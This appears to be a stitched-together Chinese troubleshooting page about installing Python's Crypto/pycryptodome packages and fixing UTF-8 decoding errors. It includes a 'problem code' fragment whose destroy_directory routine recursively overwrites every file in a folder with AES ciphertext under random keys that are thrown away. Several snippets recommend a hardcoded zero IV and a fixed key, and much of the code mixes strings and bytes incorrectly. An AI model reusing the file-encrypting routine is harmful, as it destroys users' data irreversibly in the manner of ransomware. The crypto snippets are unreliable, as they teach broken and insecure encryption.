python3 安装Crypto 出现的问题
python3 import Crypto 失败的解决办法 (AES对称加密使用 模块)
# 先导入所需要的包
pip3 install Crypto
# 再安装pycrypto
pip3 install pycrypto
from Crypto.Cipher import AES # 就成功了
-------------------------------
python3安装crypto出错,及解决方法
首先我用的python3.5的版本
问题的由来,我想通过python去实现RSA加密算法时,破解某网站的js加密认证,网上说需要安装pycrypto,我就去进行pip安装了
pip install pycrypto
错误信息如下
error: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build
经过网上查询信息,才知道这个库以及不再更新了,所以安装的时候会出一些错,因为c++编译环境有所问题吧
后来我发现了这个库 pycryptodome,它是和上面这个库一样的,实现了一些加密算法
pip install pycryptodome
很好,安装很顺利的成功了
于是我就很开心的打开pycharm,进行代码书写了,但是呢?我发现我怎么不能顺利的导包
from Crypto.PublicKey import RSA
pycharm也是提醒我书写有误,但我看官方文档的例子,它也是这样的导包的,我不信还是运行了程序,果然还是出错了
ImportError: No module named 'Crypto'
最后才发现,我需要在python35中改下包的名字,
# 这是我pycryptodome库安装的目录
# C:\python35\Lib\site-packages
# 在这个目录你找到这个文件夹的名字:crypto
# 将这个文件夹的名字改为: Crypto
通过上面的操作,就能成功的导入了
---------------------------------
from Crypto.Util.py3compat import byte_string ImportError: cannot import name 'byte_string'
pip3 uninstall pycrypto
pip3 uninstall pycryptodome
pip3 install pycryptodome
1
2
关于Crypto的安装问题,参考
https://www.cnblogs.com/fawaikuangtu123/p/9761943.html
===============================================
问题代码:
def pad(s):
return s + b"\0" * (AES.block_size - len(s) % AES.block_size) #将s与AES.block_size整数倍对齐
def encrypt(message, key, key_size=256): #对文件进行
message = pad(message) #获取对齐后的文件流
#iv = Random.new().read(AES.block_size) #
iv = os.urandom(16) #
#iv = str(iv).encode('utf-8')
#key = str(key).encode('utf-8')
#print(type(iv))
message = message.decode("utf8", errors="replace")
key = key.encode('utf-8')
iv = iv.decode("utf8", errors="replace")
cipher = AES.new(key, AES.MODE_CBC, b'0000000000000000') #执行加密前的设置
# cipher = cipher.decode('utf-8')
return iv + str(cipher.encrypt(message.encode('utf-8'))) #加密返回
def encrypt_file(file_name, key): #执行文件加密函数,就是对文件打开,写入
with open(file_name, 'rb') as fo:
plaintext = fo.read()
enc = encrypt(plaintext, key)
with open(file_name, 'wb') as fo:
fo.write(bytes(enc.encode('utf-8')))
#creates key with n lenght for 'encrypt_file' function
def create_key(n): #生成密钥函数
key = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(n)]) #这里会循环n次每次random随机函数会从输入的序列中随机取一个数
return key
#calls encrypt_file function for files in location, subdirectories of location
def destroy_directory(location):
for root, _, files in os.walk(location): #将输入的文件路径,分离分为根目录,文件夹名称,和文件列表
for fil in files:
fname = os.path.join(root, fil) #从文件列表中取文件名与根目录组合形成文件路径
encrypt_file(fname,create_key(32)) #执行文件加密
print(fname + " is encrypted")
print("---Action completed!---")
#finish_control = 1 #listener function ends# #这个位设置,结束listen函数,表明文件加密全部完成,也是结束加密程序的位置
global finish_control #making it global, it's now available for listener function
finish_control = 1
----------------------------------------------------------------------
text=text.encode("utf-8")
key=key.encode("utf-8")
iv=key.encode("utf-8")
明文,密钥,IV都要编码
======================================================
在这个里边儿 AES.new(self.key, self.mode)加上这样一串字符就可以了,就想这样:
cryptor = AES.new(self.key, self.mode, b'0000000000000000')
6
用这个:
from Crypto.Cipher import AES
import binascii,os
def aes_encrypt(plaintext):
key = "00112233445566778899aabbccddeeff"
iv = os.urandom(16)
aes_mode = AES.MODE_CBC
obj = AES.new(key, aes_mode, iv)
ciphertext = obj.encrypt(plaintext)
return ciphertext
工作方式如下:
>>> aes_encrypt("TestTestTestTest")
'r_\x18\xaa\xac\x9c\xdb\x18n\xc1\xa4\x98\xa6sm\xd3'
>>>
区别在于:
>>> iv = binascii.hexlify(os.urandom(16))
>>> iv
'9eae3db51f96e53f94dff9c699e9e849'
>>> len(iv)
32
>>> iv = os.urandom(16)
>>> iv
'\x16fdw\x9c\xe54]\xc2\x12!\x95\xd7zF\t'
>>> len(iv)
16
>>>
====================================
python3中,编码的时候区分了字符串和二进制
encode 改为 decode 就可以了
========================================
Python3
代码:
from urllib.request import urlopen
from urllib.request import Request
url = "http://www.baidu.com"
ua_header = {"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;"}
#url作为Request()方法的参数
request = Request(url, headers = ua_header)
#向指定的url发送请求
response = urlopen(request)
#类文件对象的支持 文件对象的操作方法
html = response.read()
#打印字符串
print(html.decode("utf8"))
报错:
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte
解决方案:
把
print(html.decode("utf8"))
改成
print(html.decode("utf8", errors="replace"))
虽然问题解决了但是,中间遇到一个问题,不是很明白,
第一次把
print(html.decode("utf8"))
改成
print(html.decode("utf8", errors="replace"))
完美解决报错问题,
(UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte)
但是后面又写了几遍代码,写成
print(html.decode("utf8", errors="replace"))
有几次,会出现乱码问题,如果再改成
print(html.decode("utf8"))
之后,也不报错,也不乱码,两个问题完美都解决了。